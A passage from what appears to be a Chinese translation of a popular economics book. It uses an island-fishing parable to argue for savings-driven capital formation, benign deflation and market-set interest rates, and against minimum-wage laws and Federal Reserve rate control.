　　“天地良心，我知道捕鱼是件多么辛苦的事。”艾伯答道，“但是别忘了，如果我借给你们一条鱼，你们还是要还我两条，补偿我承担的风险。”

　　“小事一桩，鱼王！”查理接茬儿道，“假期过后我们就休息好了，就能比以前捕更多的鱼，我们会连本带利还你的。”

　　但是，如果贝克和查理不提高自己的生产能力，他们又怎么能连本带利地归还贷款呢？在休息几天之后，他们还是每天只能捕到一条鱼。为了还艾伯的鱼，他们以后每天就要减少自己的食量。为了偿还贷款，他们将不得不降低自己的生活水平！

　　艾伯知道很可能会出现这个结果，于是试着跟他们商量：“我说伙计们，你们为什么要现在借鱼，将来又饿着肚子还鱼呢？其实你们可以现在做些牺牲，挨一天饿，给自己织张网。这样将来就有保障了，随便什么时候想歇着就歇着，那样多好。”

　　“听着！”贝克和查理说道，“别说这些假仁假义的废话了，快把鱼给我们拿来！”

　　艾伯应该拒绝贷款给他们，因为这笔交易不仅会让他的储蓄承担不必要的风险，而且会导致他的资本无法产生更多的生产性贷款。如果艾伯承受住他们的冷嘲热讽，就相当于规避了未来的风险，因为消费贷款如果不能提高产能的话，这笔贷款无论是对贷款人还是借款人来说都是一种负担。

应急贷款

　　事实证明，艾伯拒绝贷款给贝克和查理作为“假期”（消费）之用是极其明智的。一周之后，两人都生了一种奇怪的水痘，双双病倒，一个星期都没能去捕鱼。

　　现在出现了紧急情况，艾伯可以从自己的储蓄（鱼）中拿出一部分作为困难生活贷款。贝克和查理可以先吃借来的鱼，等身体恢复了再出去捕鱼。尽管艾伯很清楚这次的“贷款”血本无归的可能性很大，但他知道，如果不贷款给他们，风险更高。与消费贷款不同，如果艾伯不向贝克和查理提供这份应急贷款，两人很可能会丧命。如果真的发生这种情况，这座小岛就失去生产能力了。

　　如果艾伯之前已经将自己的储蓄作为没有收益的消费贷款借出的话，这次就无法拿出这份应急贷款了。

　　事实上，在社会生死攸关之时，储蓄便显得至关重要。

故事引申

　　遇到经济可能收紧的情况时，政治家和银行家常会讨论是否需要“扩大信贷”，增加可以借出的贷款数额。但是是否可以随心所欲地这样做呢？在我们这些捕鱼的朋友的案例中，艾伯合法地借出的鱼不会多于自己所储存的鱼，这座小岛的贷款总额会受到岛上所储存的鱼总量的制约。

现实链接

　　不幸的是，为了开展许多政治家和社会理论家眼中的有益活动，政府总会通过各种形式干预储蓄的配置，包括政府贷款担保、公司及个人税收减免以及税务罚款等。

　　有了这些干预手段，个人与企业也许更愿意申请某些类型的贷款，而银行也更愿意批准这些类型的贷款。于是，更多的社会资源便会投入这些受欢迎的活动中，比如住房建设、大学教育以及太阳能电池板的生产。

　　这些政策的关键推动因素就是认为政府规划者要比储蓄者更清楚什么有利于社会发展的观念。但是，并没有证据表明事实就是这样。实际上，历史上充斥着各种浮夸的政策与方案，这些方案都是政府智囊团策划的，最终全都没有兑现它们的诺言。

　　更重要的是，政府介入储蓄者和借款人之间采取的强制手段将借款的原因与结果割裂开来，使得储蓄的分配效率极为低下。

　　影响个体贷款人的往往是贷款的财务结果，而不是基本活动的政治象征意义。而那些遵循成功模式并由业绩记录良好的所有者经营的企业，还贷率往往较高。因此，这种类型的企业规划更容易吸引贷款人。这与达尔文的观点相似，即自然选择催生了生命力更强的物种，这种借贷原则催生出更加健康的企业和更加强劲的经济。

　　如果财务状况被视为次要因素，这种情况也就不存在了。贷给个人或者企业的款项如果无法成功促成必要的创新或者提高产能，就会浪费储蓄的供给，削弱整体经济。

　　但我们在本书后面的内容中会发现，不断扩大货币供应量的做法以及政府看似无限的负债能力掩盖了一个事实——实际信贷是受有限储备制约的。

　　现在，人们都认为信贷市场的有效运作所需要的就是有意愿的借款人。然而，与其他资源一样，在发放贷款前必须先积累储蓄才行。

第四章：经济到底是如何发展的

　　几周之后，艾伯、贝克和查理凭借新织的网迅速捕到了大量的鱼，他们开始每天捕两条鱼。因为每人每天只需吃一条鱼，岛上的储蓄很快开始膨胀。尽管他们偶尔决定挥霍一下，一天吃两条鱼，但是在大多数情况下他们对自己的劳动成果非常节省。

　　小岛上的三位居民从天天捕鱼的日子中解脱出来，终于得闲去参加其他有创意、有意思的活动了。艾伯可以花些时间设计和制造更实用也更漂亮的棕榈叶服装；贝克采摘椰子，丰富了食谱，也提升了厨艺；查理则盖起了小岛上的第一座小茅屋。

　　三个人的日子过得很顺心，但是贝克认为他们还可以过得更好。他说：“既然我们可以用渔网扩大生产，那为什么不能更进一步形成产业呢？”他开始想象制造一件更大更好的资本设备。

　　他草拟出一种结构复杂的捕鱼器的生产计划，这个捕鱼器将彻底改变这座小岛的经济。这个发明是一个巨大的水下巨型捕鱼器，有一个单向的门，不管白天还是晚上都可以不间断地捕鱼。是的，鱼可以进来，但是出不去。如果这个巨型捕鱼器管用，他们就再也不用亲自捕鱼了。

　　但是，贝克很快发现，单凭他自己的力量根本无法完成这样一项复杂的工程。考虑到必需的材料、编织网、搭架子、建造等一系列工程实施问题，贝克认为只靠他一个人的储蓄、体力和才智根本不可能完成这样一项巨大的工程。

　　考虑到这些问题，贝克决定提议创立一家合伙公司，即三个人共创一家公司，克服暂时的困难，集中他们所有的储蓄，拿出整整一周的时间建造这个巨型捕鱼器。

　　听了贝克的计划后，他们开始讨论其中的潜在风险。跟艾伯的第一张网一样，没有人能保证这个计划一定能成功。即便计划成功，那个新发明的玩意儿第一次入海时也很有可能被海浪冲得支离破碎。而且这一次他们的风险可不是损失一条鱼，而是 20 多条！

　　然而，他们对更多鱼的需求最终战胜了对失去全部储蓄的担忧。

　　三个人向着目标前进。

　　经过一番艰苦卓绝的努力，他们成功地建成了小岛上第一个巨型捕鱼器。这个设备果然不负众望，平均每周能捕到 20 条鱼，而且毫不费力。除了几次小修小补和维护之外，这个捕鱼器几乎是在自动工作。很快，三人便拥有了大量的鱼。

　　由于生产力的提高，岛上的储蓄迅速增加，于是三人很快又建了一个巨型捕鱼器。

　　现在，有了这么多鱼，他们就能腾出时间实施其他计划了。

　　查理制作了一块冲浪板，开创了一项很酷的新式休闲活动。

　　艾伯创立了一家服装公司，不仅可以为自己制作衣服，还可以为所有想改变形象的小岛居民提供服饰。在业余时间里，艾伯还开始策划自己一个人的舞台剧。

　　贝克则利用自己的空闲时间考虑小岛上恼人的交通问题，开始设计岛上的第一条独木舟和第一辆手推车。

　　这些丰富的活动说明了人类社会在农业发展之后所发生的变化。只有当我们能够生产出额外的食物时，我们才有时间做其他事情。

故事引申

　　储蓄不只是提高个人消费能力的手段，还是防止经济受到意外因素影响的重要缓冲器。

　　如果一场季风横扫小岛，把两个巨型捕鱼器摧毁了，他们该怎么办？尽管很多当代经济学家将自然灾害视为经济的刺激因素，但实际上洪灾、火灾、飓风和地震等灾害会破坏财富，降低生活水平。如果巨型捕鱼器被彻底毁掉了，小岛上的捕鱼量就会下降，那么艾伯、贝克和查理就又要忍饥挨饿地储蓄鱼以重建资产了。

　　但是，请记住，一笔备用的储蓄会防止经济崩溃，可以迅速重建受损的资产。艾伯、贝克和查理三人继续缩减消费进行储蓄的做法非常重要，此乃未雨绸缪之举。

现实链接

　　过去，美国以储蓄大国而著称。在历史上，美国居民每年都会将收入的 10% 甚至更多储蓄起来。这种严格自律的做法帮助美国建立了巨大的储蓄供应，为不断推进的工业活动提供了金融支持，同时也帮助美国的家庭和社区克服意外的困难。

　　然而，近年来经济学家们严重低估了储蓄在经济价值链中的重要性。事实上，在很多经济学家看来，储蓄就是一种累赘。凯恩斯主义者认为储蓄对发展不利，因为这种做法妨碍了货币循环、降低了消费（他们认为消费是促进经济增长的重要因素）。而政策制定者们受这些观点影响，制定出各种规则奖励花钱的人、惩罚存钱的人。

　　结果，美国人多年来总是入不敷出。在自给自足的经济中，比如小岛经济，这样做根本不可能。但是在我们的现代社会中，货币流通跨越国界，而印钞机似乎具有无限魔力，可以欺瞒美国民众，让他们无法认清一个简单的事实：我们的消费不能超过产能，我们的借款不能超出存款，至少不能长期这样。

　　当 2008 年金融危机爆发时，政治家和经济学家们条件反射式地寻求各种方法，让消费者花得更多、存得更少。

　　他们的做法只能适得其反，为了消费而消费的做法没有任何意义。如果你花了 100 万美元，除了空气之外什么都没有买到，那会怎么样？对社会有什么好处？这笔交易只会使出售空气的人受益，他会把原本属于你的那 100 万美元拿走。用现代的经济核算方法计算，比如以 GDP 衡量，这笔交易会被当作一次真实的经济活动，会被算作价值 100 万美元的增长。

　　但是购买空气的做法不会推动经济增长。空气一直都在那儿。我们必须生产出什么东西，才会使消费有价值。

　　消费只是我们用来衡量生产的尺度，因为所有生产出来的东西最终都是用于消费的。那么消费有什么实际意义呢？只要价格降得足够低，即便是没人想要的东西也可以卖出去。但是，如果没有生产，也就没有东西可消费了。因此，生产是有价值的。

　　储蓄创造了资本，而资本使生产扩大成为可能，所以储蓄起来的一美元对经济产生的积极影响要大于消费掉的一美元。对于这一点，你不必费力向经济学家或者政治家解释。

第五章：在鱼被指定为货币之后

　　在简单的经济社会中发挥作用的经济规律同样适用于复杂的经济社会……

　　艾伯当初甘愿做出自我牺牲创造资本，也为岛上的其他居民带来了福祉。得益于艾伯精明的贷款计划，岛民制作了许多渔网，然后又利用生产力提高后所积累的资本制造更加有效的捕鱼器。生产力提高以后，不仅食物变得更加丰盛、服饰变得更加美观、交通变得更加便捷，而且人们也有了闲暇时间，冲浪运动风靡起来。

　　很快，关于这种前所未有的奢华生活的传说就流传到了其他岛屿。那些岛屿上的人依然在徒手捕鱼，根本没有闲暇时间冲浪。为了追求更美好的生活，移民很快接踵而至。

　　生产率提高意味着这座岛屿可以养活更多的人，反过来，更多的人又促成了更加多样化的经济。一些新到的移民找到了操作巨型捕鱼器的工作；另外一些移民向原住民借来多余的鱼，开垦土地，种植农作物——人们终于不用每天都吃鱼了；还有人利用贷款进入其他商业领域。

　　岛上多元化的经济催生了很多职业，比如棚屋建筑工人、木筏制造工人、马车制造工人，包罗万象。

　　岛上的食物和工具生产达到了很高的水平，一部分人不用生产物质资料也能生存。于是，服务业应运而生。

　　为了改善食用鱼的味道，一些岛民发明了各种烹制鱼肉的方法，其中大多数都需要添加香料，用火烘焙。这些大厨收费很高，富裕的渔民和棚屋建筑工人用鱼换取他们用高超的厨艺烹制的美食。

　　其他的服务性行业也很快发展起来了。冲浪的吸引力和社会效益得到了广泛认可，因此查理的后代建立了一所冲浪学校。

　　随着社会的发展以及商业和服务业的不断延伸，人们需要一种交换的媒介，以支付给棚屋建筑工人、大厨和冲浪教练作为报酬。

　　到目前为止，岛上实行的是物物交换。但是物物交换过程烦琐，效率较低。制矛师可能需要大厨的服务，但大厨却不需要一支矛。即便他们能各取所需，到底多少顿饭能和一支矛的价值相当呢？

　　为了改变这种杂乱无章的交换系统，岛上需要新的交换物。这种交换物应该能用来交换任何物品、能被所有人接受。换句话说，岛民需要货币。

　　鉴于岛上的所有人都吃鱼，鱼被指定为货币。

　　很快，所有的工资和价格都开始用鱼计量。因为人们仍然假设每天需要吃一条鱼才能生存，所以一条鱼的价值是多少，所有人心里都有数。也就是说，岛上的价格体系和鱼的真实（或者固有）价格相关。

效率与通货紧缩

　　在一个经济体中，如果工人们有所分工，从事不同的商业和服务活动，其结果一定会比所有人都做同一种工作要好。分工增加产量，高产量又能提高生活水平。

　　假设每个岛民平均要花 5 天时间才能造成一条独木舟，再假设每个岛民每天（使用渔网）可以捕获两条鱼，也就是说每个岛民必须放弃 10 条鱼的收入才能造出一条独木舟。然而，我们假设有一个叫“达菲”的人，他在伐木、搬运和木工技术方面略胜一筹，只需 4 天就能造出一条独木舟。那么对他而言，与其像别人一样捕鱼还不如专门做独木舟。如果他专门制造独木舟的话，会生活得更好。因为他只需放弃 8 条鱼的收入，用这些时间制造一条独木舟，然后再以 9 条鱼的价格把它卖掉，就可以从中获利。分工以后，他的收入增加了。

　　因为达菲具有这些优势，其他的岛民花 9 条鱼向他购买独木舟是划算的。如果他们自己制造独木舟的话，就必须放弃 10 条鱼的收入。向专业人士支付 9 条鱼，他们可以省下 1 条鱼。

　　但是，假设 9 条鱼是个相当高的价格——毕竟能有多少人存有那么多的鱼呢？独木舟的价格太高了，只有最富裕的岛民才买得起。至于那些储蓄不足的人在他们攒够买独木舟的费用之前，只好游泳去捕鱼。

　　假设达菲从事这项劳动多年以后，利用自己的积蓄制作了一些造船用的专门工具。就像他的老前辈艾伯那样，达菲也通过省吃俭用得到了资本设备（工具）。

　　因为有了新的设备，我们假设达菲将工时缩短为两天。效率提高了，每条独木舟只需要定价为 4 条鱼就能达到收支平衡，而不是以前的 8 条。如果他把售价降为 6 条鱼（原价 9 条鱼），他每售出一条独木舟就可以获得更多的利润（以前的利润是一条鱼，现在是两条鱼），同时产量也能翻一番。

　　达菲提高生产率，受益的不只是他自己，还有岛民。价格降低之后，更多的人买得起独木舟，因此他的顾客群也扩大了。

　　由于生产率提高了（储蓄、创新和投资的结果），独木舟的价格便随之下降，更多顾客能够享受到拥有独木舟的好处。昔日富人独享的奢侈品也成了普通消费品。

故事引申

　　正如故事中所讲的那样，价格下降并没有损害达菲的利益。实际上，其他行业生产的产品的价格也随着生产率的提高而下降，达菲可以用赚得的鱼买到更多的东西。

　　技术创新是个单向的过程。除非人们失去记忆，否则生产效率必然会越来越高。因此，价格具有随着时间推移而降低的趋势。

　　持续下降的价格还会鼓励岛民储蓄，因为他们知道现在的鱼将来会更有价值。尽管听起来可能有些疯狂，不过省一条确实等于赚一条。这样一来，人们就愿意储蓄，也就有更多资本可用于贷款、资本投资、生产，最终带来更多消费。

就业

　　由于社会发展得更加复杂，越来越多的岛民决定为别人工作，以劳动换取报酬。

　　劳动的价值通常取决于劳动者所使用的资本。资本越优化，劳动的价值就越大。例如，付出同样的劳动，你驾驶一辆推土机挖的坑要比你用铁锹挖的坑大得多。所以，最好利用可用的最优资本工作。

故事引申

　　尽管人们普遍认为最低薪资法规增加了低端工人的薪资，但实际上，这类法规只是增加了这个人群的求职难度。如果一个员工能够提供具有一定价值的服务，比如每小时价值 8 美元，那么不管有没有最低薪资的规定，雇主都会心甘情愿地支付这笔费用。法律不需要对薪资负责，需要对此负责的是员工本人。但如果这位员工只能提供每小时价值 6 美元的服务，那么在 8 美元的最低时薪规定下，这个人想谋得一份工作是极其困难的。毕竟，没有哪位雇主愿意亏钱雇用员工。这样一来，最低薪资法规使得低技能员工的工作机会越来越少。就业这件事就好比爬梯子，如果没有机会踏上第一级梯档，那些低薪资的员工也就无法获得继续向上攀爬所需的技能了。这一现状使许多人陷入生活拮据的窘境。那些将 6 美元时薪视为剥削的人在为自己的正义感而沾沾自喜，但诸位想一想，在时薪 6 美元的情况下就业总好过在时薪 8 美元的规定下失业吧。

　　许多政客还喜欢自我标榜，认为自己促成了公平公正的工作环境，因为他们通过各类法规，要求雇主为员工提供强制休假、医疗保健、请病假以及休产假等各类权益，于是便居功自傲。但是在最低薪资制度下，使这些权益得以实现的是员工的生产力，而非那些法规。然而，这些要求却剥夺了员工的选择权：他们本可以在这些权益和更高的薪资之间做出选择，如果那些政客不强制雇主为员工提供上述待遇的话，他们是有可能拿到更高薪资的。诸如此类的规定，外加其他由雇用或解雇员工导致成本及法律风险增加的规定，只能导致越来越多的低技能劳动力漫天要价，从而把自己赶出就业市场。

　　在自由社会中，所有居民都能判断哪些资本能最大限度地实现劳动价值。除了那些出于某种原因依然选择徒手捕鱼的人以外（也许是出于艺术上的原因），每个劳动者都有三种选择：

  1. 省吃俭用，自制渔网。
  2. 贷款购买渔网。
  3. 为有渔网的人工作。

　　鉴于选项一需要饿肚子，选项二需要担风险，大多数劳动者会选择选项三。他们只需给人打工，就能得到报酬。

　　比如，新来的移民芬尼根是个很强壮的男人，做渔民就浪费了他的天赋，所以他决定专做生鱼搬运的工作。靠他强健的身体，芬尼根一天就能把 100 条鱼从海滩运到人们家中。他收取总额的 2% 作为运费，一天能赚两条鱼。

　　莫里则利用贷款制造了一辆运鱼车。他的运鱼车公司成了芬尼根强劲的竞争对手。虽然莫里没有芬尼根强壮，但是他利用运鱼车每天能运送 300 条鱼。因为他的生产率高，他只收取总额的 1% 作为运费，这样他每天能赚三条鱼。因而，得益于他的资本，莫里收费更低，但是赚取的利润更多。

　　由于没有自己的资本，芬尼根的处境很艰难。

　　莫里看到了商机，他估计强壮的芬尼根如果使用运鱼车，每天应该可以运送 400 条鱼，从而获得 4 条鱼的利润（收取总额的 1% 作为运费）。于是莫里向芬尼根提供这份工作，每天付给他三条鱼的报酬。剩余的一条鱼是莫里每天的收入。

　　如果芬尼根接受这份工作，他就可以提高生产率，降低运费，比自己干更划算。

　　莫里现在每天有一条鱼的收入，他可以不必再做运送工作，专心制造运鱼车，而且可以雇用更多的人以扩大生意。与此同时，运鱼车的普及也会降低所有岛民的运费支出。

　　将来某一天，芬尼根可能储蓄足够多的鱼，制造自己的运鱼车，进而和他的老东家竞争。为了防止此类事情发生，莫里不得不支付给芬尼根合适的报酬，比他自己干赚得多，但不会多到让他产生自立门户的想法。

　　虽然大家都得到了好处，但莫里唯一的动机是追求更高的利润。他并不是有意帮助芬尼根，但他的行为产生了这种效果。结果是芬尼根得到了更高的工资，所有人都降低了运费成本。

　　有人认为商业利益源于降低员工的薪资。但没有人会免费工作，没有利益，工作也便无从谈起。员工只要工作就有报酬，而企业主想得到回报则只能等到企业赢利，他们的收益是对承担风险的回报，也是对成功整合稀有资源的回报。对利润的不懈追求推动了产品创新、企业发展与经济增长。正是这样的推动力提高了每个人的生活水平。丰厚的利润正说明一个企业很擅长满足客户的需要，对这样的企业应当予以鼓励，而不应恶意诋毁。

故事引申

　　有人认为，就业市场本身就有失公平，政府需要保护员工免受雇主的剥削。这种想法对经济学的基本原理存在误解，严重损害了劳动力市场的健康运行。

　　与自由社会中的任何交易一样，就业是一项自愿的活动。如果人们通过自食其力或受其他雇主雇用能够挣到更多的钱，就很少有人愿意接受或继续一项工作了。每个工作的人实际上都在经营着自己的生意，将自己的劳动力卖给出价最高的雇主。有时（拿自由的水池清洁工来说），他们将劳动力卖给不同的顾客；有时（就大多数工作者来说），他们只将劳动力卖给某一个顾客，即他们的雇主。水池清洁工能够自由选择，为出价更高的顾客工作（或者在他掌握了新技能后，转行做报酬更高的服务工作）。同样，上班族如果有机会，也可以跳槽，去追求薪资更丰厚的工作。上班族没有跳槽，就证明他们目前的工作可能是当前所拥有的最好选择。低报酬可能不尽如人意，但这并不意味着剥削。

　　一名员工的具体价值主要取决于三个方面：需求（雇主是否需要这名员工所掌握的技能）、供应（有多少人具备这些技能）以及生产力（这名员工对那些任务的完成程度如何）。要想获得较高的薪资，这位员工必须提高其自身价值，要么掌握极少数人具备的急需技能（如医生），要么通过对本职工作精益求精来提高生产力，根本无捷径可走。

现实链接

　　对通货紧缩的完全妖魔化（还有对通货膨胀的相对接受）是当今经济学中最成功的宣传策略。在经济学家和政治家眼中，通货紧缩被定义为一段时间内价格的全面下降，就好像经济领域的鼠疫一样。只要有一丁点儿通货紧缩的苗头，政府通常就会采取措施抬高物价。

　　价格下降有什么不好呢？我们已经习惯了不断上涨的物价，要是我们知道在过去的将近 150 年（从 18 世纪末一直到 1913 年）中，美国的物价一直在稳步下降，几乎所有人都会大吃一惊。然而，就是在这段时间里，我们经历了人类历史上经济增长最快的几个阶段。

　　这种现象出现的原因正如本章所讲述的那样，是因为生产率的提高。如果货币供应稳定（就像美联储成立前的美国那样），生产率的提高会促使价格下降。

　　工业革命带来了生产率的大幅提高，工薪阶层也能买得起装饰家具、量身定做的衣服，付得起水管维修费和乘车费，而这些以前只有富人才消费得起。通货紧缩意味着 1850 年时存下的 100 美元到了 1880 年能够购买更多的产品和服务。为什么说通货紧缩不是件好事呢？现在，爷爷奶奶总爱说他们小时候东西多便宜，而他们的爷爷奶奶却总是说自己小时候东西要贵得多。

　　虽然物价低的好处显而易见，但我们还是害怕通货紧缩。我们被告知：一旦物价下跌，消费者就会停止消费，公司也会避免支出，工人会因此失业，最后我们会回到经济的黑暗时代。

　　但是，价格下降并不一定会影响特定行业的发展，我们不止一次地见证过这一点。20 世纪初，亨利·福特靠不断降低汽车的价格发了大财，他雇用的工人的工资是行业里最高的。举个更近的例子，虽然计算机的价格不断大幅下降，但是这个行业的赢利还是非常丰厚。产品价格的下跌并未阻挡计算机革新的步伐。由于设计和制造效率的提高，每年有数亿人能够以越来越低的价格享受数字化带来的好处。

　　尽管如此，大多数人都认为通货紧缩只有在局限于某个行业时才是可以接受的。为什么呢？

　　现代经济学错误地认为：消费促进经济增长，因而一旦发生通货紧缩，人们就不愿意消费（这样价格就会继续下降），而如果人们继续消费，价格下降的影响就会减弱。真是荒谬。

　　正如我们前面讲的那样，起决定作用的不是消费，而是生产！

　　不需要劝说人们消费，因为人类的需求永远不会得到满足。如果人们不想要某样东西，那一定是有理由的，要么是产品不够好，要么是买不起。不管是因为什么，推迟购买产品，或者把要花的钱存起来，都是出于理性的考虑，而且对整个社会都有好处。

　　实际上，如果消费者不愿意消费，刺激需求最好的办法就是让物价降到更合理的水平。山姆·沃尔顿就是运用这个简单的概念赚了数百亿美元。

　　第一代等离子电视问世时，极少有美国人购买。尽管大家都想要一台，可一万美元的不菲价格却令许多人望而却步。但价格下跌时，越来越多的人果断出手，争相购买。不断增加的销量弥补了价格下跌带来的损失，于是利润大幅提高。

　　天资敏锐的经济学家总会说，价格下降会损害众多消费者的利益。可食品与能源价格降低真的很糟糕么？医保花销或者教育投入逐渐回到可承受范围内，难道我们还会要求政府采取行动以规避相关风险么？

　　虽然有这么多反面证据，通货紧缩还是被当作经济的头号敌人。这是因为通货紧缩（与通货膨胀相反）是政治家最好的朋友。这一点我们在后面会详细说明。

第六章：为什么会有储蓄

　　随着岛民储存的鱼越来越多，鱼的存储成了问题。以前，人们习惯把鱼存放在家里，但是这样做效率很低甚至很危险。偷鱼贼也成了一个大问题。

　　虽然岛民愿意通过贷款和投资使自己多余的鱼增值，但是大多数人既没有时间也没有能力判断某项商业计划的优劣。

　　一个名叫“迈克斯·郝寅航”（Max Goodbank）的人嗅到了商机，他决定开拓一个革命性的行业。

　　迈克斯守护自己的存鱼多年，深知必须找到一种更好的储存方式才行。看到自己的邻居被狡猾的借鱼者欺骗，他也认识到大多数人在借出积蓄的问题上都需要帮助。考虑到这些因素，他建造了一个很大的储藏室，其温度和湿度都可以调节，还雇用了岛上最强壮的人看守。这家新“银行”能够确保岛上存鱼的安全，从而解决存鱼失窃的问题。但这只是个开始……

　　迈克斯是位真正的企业家，他知道如果只是收取保管费，利润空间很有限。

　　他明白储蓄的价值，也明白自己比一般的岛民更擅长放贷。迈克斯是一流的数学家，尤其善于评估商业计划并为之提供适当的贷款。

　　他用邻居的储蓄放贷，所获收益的一部分作为储户的利息和看守人员的工资，剩下的部分作为自己的利润。

　　于是郝寅航存贷款公司就这样诞生了。

　　与艾伯和达菲一样，迈克斯最初只是想为自己谋利。但是在他追逐利益的同时，也解决了存款、贷款和盗窃这些棘手的问题。

　　现在，岛上的居民们节衣缩食，把积蓄存入迈克斯的银行，让他替自己承担投资的责任。

　　谁要是有投资项目需要贷款，只要去找迈克斯就可以了，不用去找那些可能拥有大量存鱼的人。

　　要让计划顺利实施，迈克斯需要解决几个问题。第一，他必须保证贷款业务赢利，这也就意味着他必须仔细甄选合适的借款人，认真收取利息，而且当对方无法还款时取消抵押品的赎回权。

　　第二，他需要定期向储户支付利息，让他们高兴。第三，为了让生意持续下去，他需要吸引更多的储户。如果失败，他就会失业，他的投资也就白费了。

　　因为迈克斯精通贷款业务，凡他经手的贷款不仅效率高，而且利润丰厚，所以他自然而然成了岛上的经济权威。其他不够专业的岛民总会受到个人经历、家庭关系和情感的影响，迈克斯却可以心无旁骛地关注经济问题。

利率

　　由于迈克斯的个人利益和银行的经营状况密切相关，他最适合决定存款和贷款的利率。

　　在贷款方面，他对最可靠的（还款能力最强的）借款人收取最低利率，对风险较高的借款人收取较高的利率作为高风险的补偿。

　　贷款利率又决定了银行能支付给储户的利息。存款利率是随存款年限递增的。存款年限越长，造成银行存鱼短缺的风险越低。因此，如果储户愿意长期储蓄，获得的利率也就较高，进行短期储蓄的储户所获利率则较低。

　　尽管迈克斯掌握着利率的制定权，但是整体利润还是会随着无法掌控的市场情况的变化而波动。

　　有时生产率大幅提高，岛上的存鱼量也随之大大增加。如果储藏室里堆满了鱼，银行就会主动降低贷款利率。因为此时银行承受损失的能力较强，而且健康的经济也为新企业的发展提供了良好的环境。

　　由于不需要吸引新的储蓄，贷款利率也比较低，这就导致存款利率降低，从而抑制储蓄。

　　一旦储蓄回落（这对经济来说很危险），相反的力量就开始发挥作用，鼓励储蓄，从而补充银行的资产。

　　当存鱼较少时，迈克斯放贷就格外谨慎。因为在储蓄不足的情况下，一旦有人拖欠贷款，后果将非常严重。为了抵消高风险可能带来的损失，迈克斯会向借款人收取更高的利率，并提高存款利率以刺激储蓄。

　　高利率会抑制借贷，延缓经济增长。但同时，高利率也能刺激储蓄。最终，银行资产会再次积累起来，到那时利率又会下降。

　　另外，较低的存款率表明人们更愿意将储蓄用于近期消费，因而抑制了为满足未来消费需求而进行的投资。

　　这种周期性的利率机制有利于市场稳定。该机制的运作完全取决于以下三点：银行实现资产回报最大化的愿望、银行对高风险投资损失的担忧、个人消费的时间偏好。

　　更重要的是，银行储蓄的安全与便捷促使人们增加储蓄、延迟消费，从而为投资项目提供资金，有助于增加未来的产量并提高生活水平。

　　在迈克斯精明谨慎的经营之下，岛上的储蓄不断增长，商业不断发展。

高风险投资

　　由于迈克斯需要不断向储户支付利息，他往往会避免发放违约风险较高的贷款。他拒绝发放度假贷款、消费贷款以及其他仅用于消费享乐的贷款。这类借款人总是夸下海口，却拿不出实际的证据证明他们将来能够还贷，所以迈克斯不能拿岛民的储蓄冒险。

　　但是，有些储户甘愿为了高回报承担高风险。偶尔会出现一些有潜在突破性的项目，非常诱人，但是最后银行还是因风险过大而不愿投资。

　　弹射飞行航空公司提出了一个设想，可能会彻底改变岛际旅行方式。

　　但是，循规蹈矩的迈克斯不肯投资。

　　然而，这并不表示弹射飞行的支持者束手无策了。

　　一个新的联合投资组织出现了。该组织由阔绰的大亨曼尼·季金（Manny Fund）运营。曼尼从那些对银行存款利率不满意的储户那里募集存鱼，然后再把募集到的鱼投入备受瞩目的项目。

　　有些项目成功了，比如天堂饮品公司。

　　另一些项目则失败了，比如布拉潜艇水下旅游公司。

　　迈克斯继续通过保守的投资方式促进资本增长，而曼尼则成了冒险者的选择。

现实链接

　　政府不但制定法律，向某些贷款类型和人群倾斜，扰乱了信贷市场，还通过另一种更加根本的方式影响信贷流动：操控利率。在将近 100 年中，美联储（理论上是一家私有银行，但实际上却是美国财政部的延伸）一直制定基准利率，而美国的整个利率结构就是建立在基准利率之上的。

　　美联储调高或调低联邦基金利率并不会直接决定某家银行每种贷款的利率，但会影响整个市场走高或走低。通常，银行向大众收取的利率要高于它们支付给美联储的贷款利率。因此，当美联储调高或调低其基准利率时，企业和个人在借贷时就要多付或者少付一些钱。

　　美联储之所以被授予这一权力，是为了保证经济不论在繁荣期还是萧条期都能平稳运行。其理论基础是：美联储的经济学家可以运用集体智慧，推算出特定时段最理想的利率水平，从而使经济正常运行。

　　例如，美联储可以把利率降到足够低，这样企业和个人就更愿意借贷，以此刺激不景气的经济。而在经济繁荣时，由于过分的自信经常导致愚蠢的行为，美联储应该提高利率，这样人们在借贷时就会三思而后行。

　　这个机制有两个致命的缺陷。

　　第一，该机制的前提是：美联储的一小撮人要比数百万独立决断的民众（或者叫“市场”）更清楚什么是恰当的利率水平。但是，美联储跟利率没有任何关系。它既不产生储蓄，也不会因为贷款变成坏账而蒙受损失。积累储蓄的是民众，而且银行能否获利取决于自身的管理水平。如果没有这种关联，借贷必然是低效的。

　　第二，美联储的决定总是基于政治考量而非经济因素。因为低利率能够使经济表面上表现更好，降低还款压力，还能帮金融公司赚钱，所以很多人都喜欢低利率。谋求连任的总统往往鼓吹更低的利率，并对美联储施压。对于美联储的决策者来说，他们自然也希望自己被看作拯救经济的好人，而不愿被当作将经济推向低谷的吝啬鬼。

　　乐于看到高利率的社会成员（尤其是储户）没有形成有组织的利益集团，没人听取他们的声音。因此，社会上就形成了这种偏见，即利率应该很低，而不是很高。但是要记住，低利率会刺激借贷、抑制储蓄，难怪美国已经由一个储蓄者的国家转变成了借款人的国家。

　　而且，相对于储蓄供给来说，过低的利率会向借款人传达错误的信号，即经济状况良好、投资可行。因为消费并没有真正延后（如果利率顺应市场下滑，消费就应该延后），用于满足未来需求的投资就很难成功。结果就是虚假的繁荣过后紧接着出现巨大的危机，正如我们刚刚在股票和房地产市场上经历的那样。

第七章：基础设施与贸易

　　以前岛民都饮用山间溪水，他们用各种容器把水从小溪运到自己的棚屋里。

　　因此，大多数人都不会选择在远离水源地的地方生活或者工作，缺水的状况也使农业发展受阻。这些因素都限制了小岛的整体生产力水平。

　　有一年，小岛上发生了非常严重的旱灾，不少溪流干涸了。缺水严重，人们几乎无法生存。

　　灾难过后，岛民们想寻找一种解决办法，以防止日后再发生类似的灾害。

　　聪明的渔民艾伯五世（艾伯的第五代孙）解决了这个难题。他注意到，雨水形成的洪流会聚积起来形成水塘。受到大自然的启发，他设计了一个雨水收集系统，将雨水储存起来以备将来之用。但是，为整个岛屿提供水源将是一项巨大的工程。

　　按照他的设想，自来水厂项目需要 182 500 条鱼的工程款，这些鱼可供 250 名工人食用两年。于是，他向曼尼·季金借款。曼尼很喜欢这个想法，但是他没有足够的鱼。于是艾伯五世做了最坏的打算，向银行借鱼。

　　出乎他的意料，马可欣·郝寅航（迈克斯·郝寅航的后代）表示对这个贷款项目很感兴趣。尽管工程费用很高，但考虑到未来的潜在收益，冒一次险也是值得的。如果这个项目成功的话，银行很快就能收回成本，而且岛上的所有人都会有更美好的未来。

